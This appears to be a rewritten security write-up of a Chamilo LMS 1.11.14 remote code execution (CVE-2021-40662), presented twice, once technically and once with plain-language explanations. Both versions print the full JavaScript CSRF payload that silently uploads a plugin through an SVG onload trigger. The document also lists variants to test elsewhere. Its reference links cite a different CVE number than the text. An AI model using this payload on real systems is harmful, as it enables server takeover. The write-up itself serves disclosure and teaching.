CVE-2021-40662 Chamilo LMS 1.11.14 RCE
Chamilo LMS 1.11.14 allowed a student to upload a malicious plugin through a cross-site request forgery in the plugin upload feature, and a stored cross-site scripting flaw in the profile let this happen without the admin clicking anything. An attacker with a student account could then run arbitrary commands on the server.
This is Febin, a Security Researcher. This article is about my third CVE that I got for finding a Remote Code Execution in a popular Learning Management Software named “Chamilo LMS”.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Chamilo LMS is an e-learning platform, also called an LMS, published under the GNU/GPLv3+ licence. According to the report it has been used by more than 30 million people worldwide since its inception in 2010. The vendor homepage is https://chamilo.org/en/.

The CVE description names Chamilo LMS v1.11.14. The features involved are the plugin upload function in the administration settings, the "My Productions" section of a student profile, the "My Diplomas" feature, and the student profile or Portfolio page that an administrator can visit. The exploit chains three weaknesses: a CSRF in the plugin upload feature, which leads to remote code execution, combined with a stored XSS to make the whole thing zero-click. In the author's words: XSS + CSRF + Malicious Plugin Upload = RCE.
The CVE description quoted in the report reads: Chamilo LMS v1.11.14 was discovered to contain a zero click code injection vulnerability which allows attackers to execute arbitrary code via a crafted plugin. This vulnerability is triggered through user interaction with the attacker's profile page.
Setup
The attacker needs a student account on the Chamilo instance. The victim is a Chamilo administrator user with an active Chamilo session in their browser. No other tooling, version detail or configuration is given in the report beyond the affected version, 1.11.14, and the fixed version, 1.11.16.
Finding it
The researcher found a CSRF in the plugin upload feature. That feature is the administrative endpoint that accepts a plugin archive and installs it, and it is reachable at:
/main/admin/settings.php?category=Plugins
The report says the CSRF in the plugin upload feature leads to remote code execution. The report does not describe how the CSRF was originally identified, only that it was found in the plugin upload feature and that it leads to remote code execution.
Exploitation
The report describes two techniques. The one-click technique requires the attacker to send a link or URL to the administrator. The zero-click technique removes that requirement entirely.
One-click technique
- With a student account, create a malicious web page or a malicious SVG image file.
- Upload the file to the "My Productions" section of the student profile page.
- Copy the URL of that file and send it to the Chamilo administrator user.
- When the administrator loads the file in their browser with an active Chamilo session, in the background it uploads a plugin (.zip file) to Chamilo.
- The attacker then navigates to
/plugin/exploited-directory/and executes malicious commands.
Zero-click technique
In this variant the attacker abuses the "My Diplomas" feature and injects malicious JavaScript into it. When the administrator visits the attacker's (student) profile page or Portfolio, the malicious JavaScript executes and the malicious plugin is uploaded to the server. The attacker then navigates to the /plugin/exploit/ directory, executes the shell.php script and runs arbitrary commands.
The report lists the advantages of this exploit explicitly: there is no need to upload a malicious file to the /app/upload/users/ directory, and there is no need to send a link or URL to the administrator. When the administrator visits the attacker's profile, the attacker gets the RCE.

The exploit code
The exploit code is given below. The script builds a ZIP archive in memory from a base64 data URI, then posts it as a multipart form to the plugin settings endpoint with credentials included. The markup ends with an SVG element whose onload handler calls the function, so the payload fires as soon as the browser parses it.
<script>
function csrf_to_rce(){
function dataURItoBlob(dataURI) {
var byteString;
if (dataURI.split(',')[0].indexOf('base64') >= 0)
byteString = atob(dataURI.split(',')[1]);
else
byteString = unescape(dataURI.split(',')[1]);
var mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];
var ia = new Uint8Array(byteString.length);
for (var i = 0; i < byteString.length; i++) {
ia[i] = byteString.charCodeAt(i);
}
return new Blob([ia], {
type: mimeString
});
}
var dataUri = "data:application/zip;base64,[redacted]/[redacted]/[redacted]==";
var blob = dataURItoBlob(dataUri);
var formData = new FormData(),
request = new XMLHttpRequest();
request.withCredentials = true;
var url = "http://" + document.domain + "/main/admin/settings.php?category=Plugins";
request.open("POST", url, true);
formData.append( "new_plugin", blob, "zeroclick.zip" );
formData.append("plugin_upload","");
formData.append("_qf__plugin_upload","");
formData.append("MAX_FILE_SIZE","2097152");
request.send(formData);
}
</script>
<h1> Hello Admin. This is a Zero Click Vuln </h1>
<svg onload=csrf_to_rce()></svg>
What the important parts do:
-
dataURItoBlobdecodes the base64 payload into a binaryBlobwith the MIME type taken from the data URI, hereapplication/zip. -
request.withCredentials = truemakes the cross-originXMLHttpRequestcarry the administrator's cookies, which is what turns the request into a CSRF against the authenticated admin session. -
The URL is built from
document.domain, so the request goes to the Chamilo host the victim is browsing. -
The form fields mirror the plugin upload form:
new_plugincarries the ZIP aszeroclick.zip, alongsideplugin_upload,_qf__plugin_uploadandMAX_FILE_SIZEset to2097152. -
The
<svg onload=csrf_to_rce()>element triggers the upload without any click from the administrator.
After the upload, the attacker navigates to the /plugin/exploit/ directory and executes the shell.php script. The report does not show a sample request or response for that final step.
Root cause
The exploit posts a ZIP archive to /main/admin/settings.php?category=Plugins with credentials included. Because a plugin is code that the server will execute, a successful CSRF here is equivalent to remote code execution. The attacker injects malicious JavaScript into the "My Diplomas" feature; when the administrator visits the profile or Portfolio, it executes and the plugin is uploaded.
The report does not include the server-side code or the exact missing check, so the precise defect in the plugin upload handler is not shown. The fix commit is referenced below.
Impact
An attacker holding only a student account can execute arbitrary code on the Chamilo server once an administrator views the attacker's profile or Portfolio page. In the zero-click variant the administrator does not need to click anything or follow a link; merely visiting the profile is enough. The one-click variant requires the administrator to open a URL or file the attacker sends. The result in both cases is a shell.php under the plugin directory through which the attacker runs arbitrary commands.
Fix
The vulnerability was patched in version 1.11.16. The report points to the fix commit:
https://github.com/chamilo/chamilo-lms/commit/[redacted]
The vulnerability has been patched from version 1.11.16.
Disclosure timeline
| Date | Event |
|---|---|
| July 27, 2021 | Contacted the vendor and reported the vulnerability |
| July 28, 2021 | Vendor replies back |
| August 2, 2021 | Vulnerability patched in version 1.11.16 |
| March 21, 2022 | CVE ID assigned: CVE-2021-40662 |
The report also links a Chamilo security issues page entry titled "Issue-79 2021-07-17 Moderate impact Low risk CSRF in global chat and social wall".
References
- Exploit repository: https://github.com/febinrev/CVE-2021-46398_Chamilo-LMS-RCE
- Video: https://raw.githubusercontent.com/febinrev/CVE-2021-46398_Chamilo-LMS-RCE/main/chamilo_csrf-rce_exploit.mp4
- Exploit code: https://raw.githubusercontent.com/febinrev/CVE-2021-46398_Chamilo-LMS-RCE/main/zero-click.ht
Variants to test
- Plugin or extension upload endpoints in other LMS and CMS products: check whether the upload POST accepts a cross-origin request with the admin session and no anti-CSRF token. A positive result is a plugin archive installed from a page on another origin.
- Profile fields rendered to administrators (diplomas, badges, signatures, custom fields): inject a script and have an administrator open the profile. A positive result is the script executing in the application origin.
- File upload features that accept SVG or HTML (such as "My Productions"): upload a file with script content and open it while authenticated. A positive result is script execution in the application origin.
- Plugin directories reachable over HTTP after installation: request the installed script directly. A positive result is the uploaded code responding to attacker-controlled input.
- Anti-CSRF coverage on administrative forms generally: replay a state-changing admin POST from a different origin with credentials. A positive result is the action completing without a valid token.
What happened, in plain words
A security researcher named Febin found a way to take over a learning website called Chamilo LMS. Chamilo is software that schools and companies install on their own servers to run online courses. Students log in, see lessons, upload homework, and so on. Administrators log in to manage the whole site.
The trick works like this. A student account is enough to start. The student injects a small piece of JavaScript (a program that runs inside a web browser) into the "My Diplomas" feature of their profile. Later, an administrator opens that student's profile to look at it. The moment the page loads, the hidden JavaScript runs in the administrator's browser. It quietly uploads a plugin, which is an add-on package that the Chamilo server will install and run. That plugin contains a tiny program that lets the attacker run any command on the server. In the zero-click variant the attacker never sends a link, never asks the administrator to click anything, and never uploads a malicious file to the /app/upload/users/ directory. The administrator just visits a profile, and the server is compromised.
The researcher describes the chain as: XSS + CSRF + Malicious Plugin Upload = RCE. Each of those three-letter terms is explained below, but in short: XSS is getting your own code to run in someone else's browser, CSRF is making someone's browser send a request they did not intend, and RCE means running your own commands on the victim's server.
The official CVE description, quoted in the report, reads: Chamilo LMS v1.11.14 was discovered to contain a zero click code injection vulnerability which allows attackers to execute arbitrary code via a crafted plugin. This vulnerability is triggered through user interaction with the attacker's profile page. A CVE is a public catalogue number given to a known security flaw so people can track it; this one is CVE-2021-40662.

The product
Chamilo is an e-learning platform, also called an LMS (Learning Management System). It is published under the GNU/GPLv3+ licence, which means the source code is open and anyone can install and modify it. According to the report it has been used by more than 30 million people worldwide since its inception in 2010. The vendor homepage is https://chamilo.org/en/.

The CVE description names Chamilo LMS v1.11.14. Four features matter for the attack:
- the plugin upload function in the administration settings, where an administrator can install an add-on package;
- the "My Productions" section of a student profile, where a student can upload files they made;
- the "My Diplomas" feature of the student profile;
- the student profile or Portfolio page, which an administrator can open to look at a student.
What the attacker and the victim need
The attacker only needs a normal student account on the Chamilo site. The victim is a Chamilo administrator who is logged in, meaning their browser holds an active Chamilo session. A session is what keeps you logged in: after you sign in, the server gives your browser a small piece of data (a cookie) that it checks on every later request, so it knows who you are without asking for your password again. The report gives no other tooling, version detail or configuration beyond the affected version 1.11.14 and the fixed version 1.11.16.
Finding it
The researcher found a CSRF in the plugin upload feature. CSRF stands for Cross-Site Request Forgery. The everyday comparison: imagine a form at your bank that moves money, and a stranger's website contains a hidden copy of that same form which submits itself the moment you open the page. Your browser still attaches your bank login automatically, so the bank thinks the request came from you. That is CSRF: the victim's browser is tricked into sending a request the victim never intended.
The plugin upload feature is the administrative page that accepts a plugin archive and installs it. It lives at:
/main/admin/settings.php?category=Plugins
Reading that path: /main/admin/ is the administration area, settings.php is the page that handles settings, and ?category=Plugins is a parameter telling the page to show the plugins category. A parameter is simply a named value added to the end of a URL after a question mark, the way a form field carries a value.
Why does a CSRF here matter so much? Because the plugin upload accepts a ZIP archive, and the report says this CSRF leads to remote code execution. A CSRF that only changed a setting would be annoying; a CSRF that installs code is a path to executing code. The report does not describe how the CSRF was originally identified, only that it was found in the plugin upload feature and that it leads to remote code execution.
Exploitation
The report describes two techniques. The one-click technique still requires the attacker to send a link or URL to the administrator. The zero-click technique removes that requirement entirely.
One-click technique
- With a student account, create a malicious web page or a malicious SVG image file. SVG is a picture format that is written in the same markup language as web pages, so it can contain script.
- Upload the file to the "My Productions" section of the student profile page.
- Copy the URL of that file and send it to the Chamilo administrator user.
- When the administrator loads the file in their browser with an active Chamilo session, in the background it uploads a plugin (.zip file) to Chamilo.
- The attacker then navigates to
/plugin/exploited-directory/and executes malicious commands.
Step 4 is the heart of it: the administrator thinks they are opening a harmless file, but the file contains code that makes their browser send the plugin upload request, and their logged-in session makes that request succeed.
Zero-click technique
In this variant the attacker abuses the "My Diplomas" feature and injects malicious JavaScript into it. JavaScript is the programming language that web pages run inside your browser; injecting your own JavaScript into a page other people will view is called stored XSS (Cross-Site Scripting), because the malicious script is stored on the server and served to every visitor. The everyday comparison: leaving a note on a shared noticeboard that, when read, quietly instructs the reader to do something on your behalf.
When the administrator visits the attacker's (student) profile page or Portfolio, the malicious JavaScript executes and the malicious plugin gets uploaded to the server. The attacker then navigates to the /plugin/exploit/ directory, executes the shell.php script and runs arbitrary commands. A shell is a program that accepts commands and runs them; a shell.php is a web page that does the same thing over HTTP, so the attacker can send commands through the browser.
The report lists the advantages of this exploit explicitly: there is no need to upload a malicious file to the /app/upload/users/ directory, and there is no need to send a link or URL to the administrator. When the administrator visits the attacker's profile, the attacker gets the RCE.

The exploit code
The exploit code is given below. HTML is the language web pages are written in. The script builds a ZIP archive in memory from a base64 data URI, then posts it as a multipart form to the plugin settings endpoint with credentials included. Base64 is a way of writing binary data (like a ZIP file) using only ordinary text characters, so it can be pasted into a web page. A data URI is a URL that contains the data itself instead of pointing to a file elsewhere. A multipart form is the format browsers use to send files and fields together, the same way an upload form on any website works. The markup ends with an SVG element whose onload handler calls the function, so the payload fires as soon as the browser parses it.
<script>
function csrf_to_rce(){
function dataURItoBlob(dataURI) {
var byteString;
if (dataURI.split(',')[0].indexOf('base64') >= 0)
byteString = atob(dataURI.split(',')[1]);
else
byteString = unescape(dataURI.split(',')[1]);
var mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];
var ia = new Uint8Array(byteString.length);
for (var i = 0; i < byteString.length; i++) {
ia[i] = byteString.charCodeAt(i);
}
return new Blob([ia], {
type: mimeString
});
}
var dataUri = "data:application/zip;base64,[redacted]/[redacted]/[redacted]==";
var blob = dataURItoBlob(dataUri);
var formData = new FormData(),
request = new XMLHttpRequest();
request.withCredentials = true;
var url = "http://" + document.domain + "/main/admin/settings.php?category=Plugins";
request.open("POST", url, true);
formData.append( "new_plugin", blob, "zeroclick.zip" );
formData.append("plugin_upload","");
formData.append("_qf__plugin_upload","");
formData.append("MAX_FILE_SIZE","2097152");
request.send(formData);
}
</script>
<h1> Hello Admin. This is a Zero Click Vuln </h1>
<svg onload=csrf_to_rce()></svg>
Line by line, in plain words:
<script>and</script>mark the start and end of a block of JavaScript that the browser will run.function csrf_to_rce(){defines a named block of code, a function, calledcsrf_to_rce. Nothing runs yet; the function is just prepared so it can be called later.function dataURItoBlob(dataURI) {defines a helper function that takes a data URI (text containing a file) and turns it into aBlob, which is the browser's in-memory representation of a file.var byteString;declares a variable, a named box for holding a value.if (dataURI.split(',')[0].indexOf('base64') >= 0)checks whether the part of the data URI before the comma mentionsbase64.split(',')cuts the string at the comma;[0]takes the first piece;indexOf('base64')looks for that word and returns a position, or a negative number if it is absent.byteString = atob(dataURI.split(',')[1]);if it is base64,atobdecodes the base64 text after the comma back into raw characters.else byteString = unescape(dataURI.split(',')[1]);otherwise it treats the text after the comma as percent-encoded data and decodes it withunescape.var mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];extracts the file type from the header part of the data URI. Fordata:application/zip;base64,...this yieldsapplication/zip, which tells the browser what kind of file this is.var ia = new Uint8Array(byteString.length);creates a byte array, a list of numbers from 0 to 255, one slot per character of the decoded data. Files are ultimately just bytes.- The
forloop copies each character's numeric code into the array withbyteString.charCodeAt(i). return new Blob([ia], { type: mimeString });wraps the bytes into aBloblabelled with the file type, so the browser treats it as a real ZIP file.var dataUri = "data:application/zip;base64,...";is the ZIP archive itself, written as base64 text. It is the file that will be uploaded as a plugin.var blob = dataURItoBlob(dataUri);runs the helper to turn that text into an actual file object.var formData = new FormData(), request = new XMLHttpRequest();prepares an empty form and anXMLHttpRequest, which is the browser object for sending requests to a server from JavaScript without reloading the page.request.withCredentials = true;is the crucial line. It tells the browser to attach the user's cookies to this request. Without it, the request would arrive at the server as an anonymous visitor; with it, the request arrives as the logged-in administrator. That is what turns this into a CSRF.var url = "http://" + document.domain + "/main/admin/settings.php?category=Plugins";builds the target address.document.domainis the hostname of the page the script is running on, so the request goes to the same Chamilo site the victim is browsing.request.open("POST", url, true);prepares a POST request, the method browsers use to submit data, to that URL, asynchronously (thetruemeans the page does not freeze while waiting).formData.append( "new_plugin", blob, "zeroclick.zip" );adds the ZIP file to the form under the field namenew_plugin, with the filenamezeroclick.zip.formData.append("plugin_upload","");,formData.append("_qf__plugin_upload","");andformData.append("MAX_FILE_SIZE","2097152");add the other fields the real plugin upload form sends, so the server accepts the request as a genuine form submission.MAX_FILE_SIZEis set to 2097152 bytes, which is 2 MB.request.send(formData);sends everything to the server.}closes the function.<h1> Hello Admin. This is a Zero Click Vuln </h1>is a visible heading. It is there so the page looks like something, though the attack does not depend on it.<svg onload=csrf_to_rce()></svg>is the trigger. An SVG image can carry anonloadattribute, which is code the browser runs when the image finishes loading. Here it callscsrf_to_rce(), so the upload happens automatically, with no click from the administrator.
What the important parts do, in summary:
-
dataURItoBlobdecodes the base64 payload into a binaryBlobwith the MIME type taken from the data URI, hereapplication/zip. -
request.withCredentials = truemakes the cross-originXMLHttpRequestcarry the administrator's cookies, which is what turns the request into a CSRF against the authenticated admin session. Cross-origin means the request is being made from a page whose address differs from the target; browsers normally restrict this, and the cookie rule is what makes the forgery work here. -
The URL is built from
document.domain, so the request goes to the Chamilo host the victim is browsing. -
The form fields mirror the plugin upload form:
new_plugincarries the ZIP aszeroclick.zip, alongsideplugin_upload,_qf__plugin_uploadandMAX_FILE_SIZEset to2097152. -
The
<svg onload=csrf_to_rce()>element triggers the upload without any click from the administrator.
After the upload, the attacker navigates to the /plugin/exploit/ directory and executes the shell.php script. The report does not show a sample request or response for that final step.
Root cause
The exploit posts a ZIP archive to /main/admin/settings.php?category=Plugins with credentials included. Because a plugin is code that the server will execute, a successful CSRF here is equivalent to remote code execution. The attacker injects malicious JavaScript into the "My Diplomas" feature; when the administrator visits the profile or Portfolio, it executes and the plugin is uploaded.
In everyday terms: the front door (the plugin upload) has no lock that checks whether the person knocking really meant to knock, and the noticeboard (the profile page) lets a student pin up a note that acts on the reader's behalf. Put together, the attacker only has to wait for the administrator to read the noticeboard.
The report does not include the server-side code or the exact missing check, so the precise defect in the plugin upload handler is not shown. The fix commit is referenced below.
Impact
An attacker holding only a student account can execute arbitrary code on the Chamilo server once an administrator views the attacker's profile or Portfolio page. In the zero-click variant the administrator does not need to click anything or follow a link; merely visiting the profile is enough. The one-click variant requires the administrator to open a URL or file the attacker sends. The result in both cases is a shell.php under the plugin directory through which the attacker runs arbitrary commands.
Fix
The vulnerability was patched in version 1.11.16. The report points to the fix commit:
https://github.com/chamilo/chamilo-lms/commit/[redacted]
The vulnerability has been patched from version 1.11.16.
Disclosure timeline
A disclosure timeline records when each step of a security report happened, so others can see how quickly the vendor responded.
| Date | Event |
|---|---|
| July 27, 2021 | Contacted the vendor and reported the vulnerability |
| July 28, 2021 | Vendor replies back |
| August 2, 2021 | Vulnerability patched in version 1.11.16 |
| March 21, 2022 | CVE ID assigned: CVE-2021-40662 |
The report also links a Chamilo security issues page entry titled "Issue-79 2021-07-17 Moderate impact Low risk CSRF in global chat and social wall".
References
- Exploit repository: https://github.com/febinrev/CVE-2021-46398_Chamilo-LMS-RCE
- Video: https://raw.githubusercontent.com/febinrev/CVE-2021-46398_Chamilo-LMS-RCE/main/chamilo_csrf-rce_exploit.mp4
- Exploit code: https://raw.githubusercontent.com/febinrev/CVE-2021-46398_Chamilo-LMS-RCE/main/zero-click.ht
Variants to test
If you are testing a similar product, these are the places to look. Each one describes what to try and what a positive result looks like.
- Plugin or extension upload endpoints in other LMS and CMS products: check whether the upload POST accepts a cross-origin request with the admin session and no anti-CSRF token. A positive result is a plugin archive installed from a page on another origin.
- Profile fields rendered to administrators (diplomas, badges, signatures, custom fields): inject a script and have an administrator open the profile. A positive result is the script executing in the application origin.
- File upload features that accept SVG or HTML (such as "My Productions"): upload a file with script content and open it while authenticated. A positive result is script execution in the application origin.
- Plugin directories reachable over HTTP after installation: request the installed script directly. A positive result is the uploaded code responding to attacker-controlled input.
- Anti-CSRF coverage on administrative forms generally: replay a state-changing admin POST from a different origin with credentials. A positive result is the action completing without a valid token.
Glossary
- Administrator: the user account that manages a Chamilo site, including installing plugins.
- Base64: a way of writing binary data using only ordinary text characters, so it can be pasted into a web page.
- Blob: the browser's in-memory representation of a file.
- Chamilo LMS: an open-source e-learning platform (Learning Management System) that organisations install to run online courses.
- Cookie: a small piece of data a website stores in your browser so it can recognise you on later requests, for example to keep you logged in.
- Cross-origin: a request made from a page whose address differs from the address it is sent to.
- CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request they did not intend, so the server acts as if the user asked for it.
- CVE: a public catalogue number assigned to a known security vulnerability so it can be tracked.
- Data URI: a URL that contains the data itself instead of pointing to a file elsewhere.
- Disclosure timeline: a record of when each step of a security report happened.
- FormData: the browser object used to build the contents of a form, including files, for sending to a server.
- Function: a named block of code that can be called to run later.
- GNU/GPLv3+: a free-software licence that lets anyone use, study, modify and share the source code.
- HTML: the language web pages are written in.
- JavaScript: the programming language web pages run inside the browser.
- LMS (Learning Management System): software for running online courses, users, lessons and grades.
- MIME type: a label that says what kind of file something is, such as
application/zip. - Multipart form: the format browsers use to send files and fields together in one request.
- Parameter: a named value added to a URL after a question mark, like
?category=Plugins. - Plugin: an add-on package that extends a piece of software and is installed on the server, so its code runs there.
- POST: the HTTP method browsers use to submit data to a server.
- RCE (Remote Code Execution): running your own commands on someone else's server over a network.
- Session: the state of being logged in, kept alive by a cookie the server checks on each request.
- Shell: a program that accepts commands and runs them; a web shell does the same over HTTP.
- Stored XSS (Cross-Site Scripting): injecting your own script into a page stored on a server, so it runs in the browsers of everyone who views that page.
- SVG: an image format written in markup, which can contain script.
- Variable: a named box in a program for holding a value.
- XMLHttpRequest: the browser object for sending requests to a server from JavaScript without reloading the page.
- Zero-click: an attack that needs no click or link from the victim, only that they open a page.